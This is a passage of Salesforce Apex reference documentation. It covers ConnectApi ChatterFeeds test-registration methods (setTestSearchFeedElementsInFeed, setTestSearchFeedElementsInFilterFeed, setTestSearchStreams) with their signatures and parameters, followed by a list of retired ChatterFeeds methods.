The type of feed. Valid values include every `ConnectApi.FeedType` except Company, DirectMessages, Filter, Landing, and Streams.

**subjectId**
Type: `String`

If `feedType` is Record, `subjectId` can be any record ID, including a group ID. If `feedType` is Streams, `subjectId` must be a stream ID. If `feedType` is Topics, `subjectId` must be a topic ID. If `feedType` is UserProfile, `subjectId` can be any user ID. If the `feedType` is any other value, `subjectId` must be the ID of the context user or the alias me.
recentCommentCount
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void

SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q)
Testing ConnectApi Code

```
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, filter, result)
```

Register a ConnectApi.FeedElementPage object to be returned when searchFeedElementsInFeed is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
35.0

Signature
```
public static Void setTestSearchFeedElementsInFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedFilter filter, ConnectApi.FeedElementPage result)
```

Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**feedType**
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.UserProfile.

**subjectId**
Type: String
The ID of any user. To specify the context user, use the user ID or the alias me.

**recentCommentCount**
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

**density**
Type: ConnectApi.FeedDensity
The amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
• FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

`pageParam`
Type: `String`

Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

`pageSize`
Type: `Integer`

Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

`sortParam`
Type: `ConnectApi.FeedSortOrder`

Values are:
- `CreatedDateAsc`—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- `CreatedDateDesc`—Sorts by most recent creation date.
- `LastModifiedDateDesc`—Sorts by most recent activity.
- `MostViewed`—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- `Relevance`—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.

If you pass in `null`, the default value `CreatedDateDesc` is used.

`q`
Type: `String`

One or more keywords to search for in the feed elements visible to the context user. The search string can contain wildcards and must contain at least two characters that aren’t wildcards. See Wildcards.

`filter`
Type: `ConnectApi.FeedFilter`

Value must be `ConnectApi.FeedFilter.CommunityScoped`. Filters the feed to include only feed elements that are scoped to Experience Cloud sites. Feed elements that are always visible in all sites are filtered out. Currently, feed elements scoped to sites have a User or a Group parent record. However, other parent record types could be scoped to sites in the future.

`result`
Type: `ConnectApi.FeedElementPage`

The object containing test data.

Return Value
Type: `Void`

SEE ALSO:
- `searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, filter)`
- Testing ConnectApi Code
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, customFilter, result)

Register a ConnectApi.FeedElementPage object to be returned when the matching ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
40.0

Signature
public static Void setTestSearchFeedElementsInFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, String customFilter, ConnectApi.FeedElementPage result)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.

subjectId
Type: String
The ID of a case.

recentCommentCount
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

density
Type: ConnectApi.FeedDensity
The amount of content in a feed.

- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.

q
Type: String
One or more keywords to search for in the feed elements visible to the context user. The search string can contain wildcards and must contain at least two characters that aren’t wildcards. See Wildcards.

customFilter
Type: String
Custom filter that applies only to the case feed. See customFeedFilter in the Metadata API Developer Guide for supported values.

result
Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, customFilter)
Testing ConnectApi Code

setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly, result)

Register a ConnectApi.FeedElementPage object to be returned when the matching ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters or you receive an exception.
`public static Void setTestSearchFeedElementsInFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, Boolean showInternalOnly, ConnectApi.FeedElementPage result)`

**Parameters**

`communityId`
- Type: String
- Use the ID for an Experience Cloud site, internal, or null.

`feedType`
- Type: `ConnectApi.FeedType`
- Value must be `ConnectApi.FeedType.Record`.

`subjectId`
- Type: String
- Any record ID, including a group ID.

`recentCommentCount`
- Type: Integer
- Maximum number of comments to return with each feed element. The default value is 3.

`density`
- Type: `ConnectApi.FeedDensity`
- Specify the amount of content in a feed.
  - AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
  - FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

`pageParam`
- Type: String
- The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in null, the first page is returned.

`pageSize`
- Type: Integer
- Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

`sortParam`
- Type: `ConnectApi.FeedSortOrder`
- Values are:
  - CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
  - CreatedDateDesc—Sorts by most recent creation date.
  - LastModifiedDateDesc—Sorts by most recent activity.
• MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.

• Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in null, the default value CreatedDateDesc is used.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

showInternalOnly
Type: Boolean
Specifies whether to show only feed elements from internal (non-Experience Cloud site) users (true), or not (false). The default value is false.

result
Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
   searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly)
   Testing ConnectApi Code

setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly, filter, result)

Register a ConnectApi.FeedElementPage object to be returned when the matching ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
32.0

Signature
public static Void setTestSearchFeedElementsInFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, Boolean showInternalOnly, ConnectApi.FeedFilter filter, ConnectApi.FeedElementPage result)
Parameters

**communityId**
- Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

**feedType**
- Type: ConnectApi.FeedType
  - Value must be ConnectApi.FeedType.Record.

**subjectId**
- Type: String
  - Any record ID, including a group ID.

**recentCommentCount**
- Type: Integer
  - Maximum number of comments to return with each feed element. The default value is 3.

**density**
- Type: ConnectApi.FeedDensity
  - Specify the amount of content in a feed.
    - **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
    - **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
- Type: String
  - The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

**pageSize**
- Type: Integer
  - Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**sortParam**
- Type: ConnectApi.FeedSortOrder
  - Values are:
    - **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
    - **CreatedDateDesc**—Sorts by most recent creation date.
    - **LastModifiedDateDesc**—Sorts by most recent activity.
    - **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
    - **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
  - If you pass in null, the default value CreatedDateDesc is used.

**q**
- Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

**showInternalOnly**

Type: Boolean

Specifies whether to show only feed elements from internal (non-Experience Cloud site) users (true), or not (false). The default value is false.

**filter**

Type: ConnectApi.FeedFilter

Specifies the feed filters.

- **AllQuestions**—Feed elements that are questions.
- **AuthoredBy**—Feed elements authored by the user profile owner. This value is valid only for the UserProfile feed.
- **CommunityScoped**—Feed elements that are scoped to Experience Cloud sites. Currently, these feed elements have a User or a Group parent record. However, other parent record types could be scoped to sites in the future. Feed elements that are always visible in all sites are filtered out. This value is valid only for the UserProfile feed.
- **QuestionsWithCandidateAnswers**—Feed elements that are questions that have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **QuestionsWithCandidateAnswersReviewedPublished**—Feed elements that are questions that have candidate answers that have been reviewed or published. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **Read**—Feed elements that are older than 30 days or are marked as read for the context user. Includes existing feed elements when the context user joined the group. This value is valid only for the Record feed of a group.
- **SolvedQuestions**—Feed elements that are questions and that have a best answer.
- **UnansweredQuestions**—Feed elements that are questions and that don’t have any answers.
- **UnansweredQuestionsWithCandidateAnswers**—Feed elements that are questions that don’t have answers but have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **Unread**—Feed elements that are created in the past 30 days and aren’t marked as read for the context user. This value is valid only for the Record feed of a group.
- **UnsolvedQuestions**—Feed elements that are questions and that don’t have a best answer.

**result**

Type: ConnectApi.FeedElementPage

The object containing test data.

**Return Value**

Type: Void

**SEE ALSO:**

searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly, filter)

Testing ConnectApi Code
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly, customFilter, result)

Register a ConnectApi.FeedElementPage object to be returned when the matching ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
40.0

Signature
public static Void setTestSearchFeedElementsInFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, Boolean showInternalOnly, String customFilter, ConnectApi.FeedElementPage result)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.

subjectId
Type: String
The ID of a case.

recentCommentCount
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.
**pageSize**
Type: `Integer`
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**sortParam**
Type: `ConnectApi.FeedSortOrder`
Values are:
- `CreatedDateAsc`—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- `CreatedDateDesc`—Sorts by most recent creation date.
- `LastModifiedDateDesc`—Sorts by most recent activity.
- `MostViewed`—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- `Relevance`—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.
If you pass in `null`, the default value `CreatedDateDesc` is used.

**q**
Type: `String`
Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

**showInternalOnly**
Type: `Boolean`
Specifies whether to show only feed elements from internal (non-Experience Cloud site) users (`true`), or not (`false`). The default value is `false`.

**customFilter**
Type: `String`
Custom filter that applies only to the case feed. See `customFeedFilter` in the Metadata API Developer Guide for supported values.

**result**
Type: `ConnectApi.FeedElementPage`
The object containing test data.

**Return Value**
Type: `Void`

**SEE ALSO:**
- `searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly, customFilter)`
- `Testing ConnectApi Code`

**setTestSearchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, q, result)**
Register a `ConnectApi.FeedElementPage` object to be returned when the matching `ConnectApi.searchFeedElementsInFilterFeed` method is called in a test context. Use the method with the same parameters or you receive an exception.
API Version
31.0

Signature
public static Void setTestSearchFeedElementsInFilterFeed(String communityId, String subjectId, String keyPrefix, String q, ConnectApi.FeedElementPage result)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

subjectId
Type: String
The ID of the context user or the alias me.

keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFilterFeed method is called in a test context. Use the method with the same
parameters or you receive an exception.

API Version
31.0

Signature
public static Void setTestSearchFeedElementsInFilterFeed(String communityId, String subjectId, String keyPrefix, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedElementPage result)

Parameters
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

subjectId
  Type: String
  The ID of the context user or the alias me.

keyPrefix
  Type: String
  A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

recentCommentCount
  Type: Integer
  Maximum number of comments to return with each feed element. The default value is 3.
density
Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.
- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

`pageParam`
Type: `String`
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

`pageSize`
Type: `Integer`
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

`sortParam`
Type: `ConnectApi.FeedSortOrder`
Values are:
- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for `Company`, `Home`, and `Topics` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- **Relevance**—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.
If you pass in `null`, the default value `CreatedDateDesc` is used.

`q`
Type: `String`
Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See `Wildcards`.

`result`
Type: `ConnectApi.FeedElementPage`

ConnectApi.SortOrder sortParam, ConnectApi.ChatterStreamPage result)
```

Parameters

- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or **null**.

- **q**
  Type: String
  Required and cannot be **null**. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

- **sortParam**
  Type: `ConnectApi.SortOrder`
  Specifies the sort order. Values are:
  - **Ascending**—Items are in ascending alphabetical order (A-Z).
  - **Descending**—Items are in descending alphabetical order (Z-A).
  - **MostRecentlyViewed**—Items are in descending chronological order by view. This sort order is valid only for Chatter feed streams.
  If not specified, default value is **Ascending**.

- **result**
  Type: `ConnectApi.ChatterStreamPage`
  The object containing test data.

Return Value

Type: Void

SEE ALSO:

- `searchStreams(communityId, q, sortParam)`
- Testing ConnectApi Code

```java
setTestSearchStreams(communityId, q, pageParam, pageSize, result)
```

Register a `ConnectApi.ChatterStreamPage` object to be returned when the matching `ConnectApi.searchStreams(communityId, q, pageParam, pageSize)` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version

40.0
public static Void setTestSearchStreams(String communityId, String q, Integer pageParam, Integer pageSize, ConnectApi.ChatterStreamPage result) 

Parameters 

communityId 
Type: String 
Use the ID for an Experience Cloud site, internal, or null.

q 
Type: String 
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

pageParam 
Type: Integer 
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize 
Type: Integer 
Specifies the number of items per page. Valid values are from 1 to 250. The default size is 25.

result 
Type: ConnectApi.ChatterStreamPage 
The object containing test data.

Return Value 
Type: Void 

SEE ALSO: 
searchStreams(communityId, q, pageParam, pageSize) 
Testing ConnectApi Code 

setTestSearchStreams(communityId, q, pageParam, pageSize, sortParam, result) 
Register a ConnectApi.ChatterStreamPage object to be returned when the matching ConnectApi.searchStreams(communityId, q, pageParam, pageSize, sortParam) method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version 
40.0 

Signature 
public static Void setTestSearchStreams(String communityId, String q, Integer pageParam, Integer pageSize, ConnectApi.SortOrder sortParam, ConnectApi.ChatterStreamPage result)
Parameters

`communityId`
Type: String
Use the ID for an Experience Cloud site, internal, or null.

`q`
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

`pageParam`
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

`pageSize`
Type: Integer
Specifies the number of items per page. Valid values are from 1 to 250. The default size is 25.

`sortParam`
Type: ConnectApi.SortOrder
Specifies the sort order. Values are:
- Ascending—Items are in ascending alphabetical order (A-Z).
- Descending—Items are in descending alphabetical order (Z-A).
- MostRecentlyViewed—Items are in descending chronological order by view. This sort order is valid only for Chatter feed streams.

If not specified, default value is Ascending.

`result`
Type: ConnectApi.ChatterStreamPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
- `searchStreams(communityId, q, pageParam, pageSize, sortParam)`
- Testing ConnectApi Code

`setTestSearchStreams(communityId, q, pageParam, pageSize, sortParam, globalScope, result)`
Register a ConnectApi.ChatterStreamPage object to be returned when the matching ConnectApi.searchStreams(communityId, q, pageParam, pageSize, sortParam, globalScope) method is called in a test context. Use the method with the same parameters or you receive an exception.
API Version
41.0

Signature
public static Void setTestSearchStreams(String communityId, String q, Integer pageParam, Integer pageSize, ConnectApi.SortOrder sortParam, Boolean globalScope, ConnectApi.ChatterStreamPage result)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 to 250. The default size is 25.

sortParam
Type: ConnectApi.SortOrder
Specifies the sort order. Values are:

- Ascending—Items are in ascending alphabetical order (A-Z).
- Descending—Items are in descending alphabetical order (Z-A).
- MostRecentlyViewed—Items are in descending chronological order by view. This sort order is valid only for Chatter feed streams.

If not specified, default value is Ascending.

globalScope
Type: Boolean
Specifies whether to get streams from all the context user’s Experience Cloud sites, regardless of the communityId value.

result
Type: ConnectApi.ChatterStreamPage
The object containing test data.

Return Value
Type: Void
Retired ChatterFeeds Methods

The following methods for ChatterFeeds are retired.

IN THIS SECTION:

- deleteFeedItem(communityId, feedItemId)
  Delete a feed item.
- getCommentsForFeedItem(communityId, feedItemId)
  Get comments for a feed item.
- getCommentsForFeedItem(communityId, feedItemId, pageParam, pageSize)
  Get a page of comments for a feed item.
- getFeedItem(communityId, feedItemId)
  Get a feed item.
- getFeedItemBatch(communityId, feedItemIds)
  Get a list of feed items.
- getFeedItemsFromFeed(communityId, feedType)
  Get feed items from the Company, Home, and Moderation feeds.
- getFeedItemsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)
  Get a page of sorted feed items from the Company, Home, and Moderation feeds.
- getFeedItemsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam)
  Get a page of sorted feed items from the Company, Home, and Moderation feeds. Each feed item contains no more than the specified number of comments.
- getFeedItemsFromFeed(communityId, feedType, subjectId)
  Get feed items from a feed for a user or record.
- getFeedItemsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam)
  Get a page of sorted feed items from a feed for a user or record.
- getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam)
  Get a page of sorted feed items from a feed for a user or record. Each feed item includes no more than the specified number of comments.
- getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, showInternalOnly)
  Get a page of sorted feed items from a record feed for a user or record. Each feed item includes no more than the specified number of comments. Specify whether to return feed items posted by internal (non-Experience Cloud site) users only.
- getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix)
  Get feed items from a feed filtered by a key prefix for a user.
- getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam)
  Get a page of sorted feed items from a feed filtered by a key prefix for a user.
- getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam)
  Get a page of sorted feed items from a feed filtered by a key prefix for a user. Each feed item contains no more than the specified number of comments.
getFeedItemsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, updatedSince)
Get a page of feed items from a feed filtered by a key prefix for a user. Include only feed items that have been updated since the time specified in the updatedSince parameter.

getFeedItemsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince)
Get a page of feed items from the Company, Home, and Moderation feeds. Include only feed items that have been updated since the time specified in the updatedSince parameter. Each feed item contains no more than the specified number of comments.

getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince)
Get a page of feed items from the Files, Groups, News, People, and Record feeds. Include only feed items that have been updated since the time specified in the updatedSince parameter. Each feed item contains no more than the specified number of comments.

getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince, showInternalOnly)
Get a page of feed items from a record feed. Include only feed items that have been updated since the time specified in the updatedSince parameter. Specify whether to return feed items posted by internal (non-Experience Cloud site) users only.

getFeedPoll(communityId, feedItemId)
Get the poll associated with a feed item.

getLikesForFeedItem(communityId, feedItemId)
Get likes for a feed item.

getLikesForFeedItem(communityId, feedItemId, pageParam, pageSize)
Get a page of likes for a feed item.

likeFeedItem(communityId, feedItemId)
Like a feed item for the context user.

postComment(communityId, feedItemId, text)
Post a plain-text comment to a feed item.

postComment(communityId, feedItemId, comment, feedItemFileUpload)
Post a rich-text comment to a feed item. Use this method to include mentions and to attach a file to a comment.

postFeedElement(communityId, feedElement, feedElementFileUpload)
Post a rich-text feed element. Include mentions and hashtag topics, attach a file to a feed element, and associate action link groups with a feed element. You can also use this method to share a feed element and add a comment.

postFeedItem(communityId, feedType, subjectId, text)
Post a plain-text feed item.

postFeedItem(communityId, feedType, subjectId, feedItemInput, feedItemFileUpload)
Post a rich-text feed item to a feed. Use this method to include mentions and hashtag topics and to attach a file to a feed item. You can also use this method to share a feed item and add a comment.

searchFeedItems(communityId, q)
Get the feed items that match the search criteria.

searchFeedItems(communityId, q, sortParam)
Get the sorted feed items that match the search criteria.

searchFeedItems(communityId, q, pageParam, pageSize)
Get a page of feed items that match the search criteria.
searchFeedItems(communityId, q, pageParam, pageSize, sortParam)
Get a page of sorted feed items that match the search criteria.

searchFeedItems(communityId, q, recentCommentCount, pageParam, pageSize, sortParam)
Get a page of sorted feed items that match the search criteria.

searchFeedItemsInFeed(communityId, feedType, q)
Get the feed items from the Company, Home, and Moderation feeds that match the search criteria.

searchFeedItemsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q)
Get a page of sorted feed items from the Company, Home, and Moderation feeds that match the search criteria.

searchFeedItemsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q)
Get a page of sorted feed items from the Company, Home, and Moderation feeds that match the search criteria. Each feed item includes no more than the specified number of comments.

searchFeedItemsInFeed(communityId, feedType, subjectId, q)
Get the feed items from a feed that match the search criteria.

searchFeedItemsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q)
Get a page of sorted feed items from a feed for a user or record that match the search criteria.

searchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q)
Get a page of sorted feed items from a feed that match the search criteria. Each feed item includes no more than the specified number of comments.

searchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly)
Get a page of sorted feed items from a feed for a user or record that match the search criteria. Specify whether to return feed items posted by internal (non-Experience Cloud site) users only.

searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, q)
Get the feed items that match the search criteria from a feed filtered by a key prefix for a user.

searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, q)
Get a page of sorted feed items that match the search criteria from a feed filtered by a key prefix for a user.

searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam, q)
Get a page of sorted feed items that match the search criteria from a feed filtered by a key prefix for a user. Each feed item includes no more than the specified number of comments.

shareFeedElement(communityId, subjectId, feedElementType, originalFeedElementId)
Share the originalFeedElementId as the context user.

shareFeedItem(communityId, feedType, subjectId, originalFeedItemId)
Share the originalFeedItemId to the feed specified by the feedType.

updateBookmark(communityId, feedItemId, isBookmarkedByCurrentUser)
Bookmark a feed item or remove a bookmark from a feed item.

voteOnFeedPoll(communityId, feedItemId, myChoiceId)
Vote or change your vote on a feed poll.

setTestGetFeedItemsFromFeed(communityId, feedType, result)
Register a ConnectApi.FeedItemPage object to be returned when getFeedItemsFromFeed is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
Register a `ConnectApi.FeedItemPage` object to be returned when `getFeedItemsFromFeed` is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

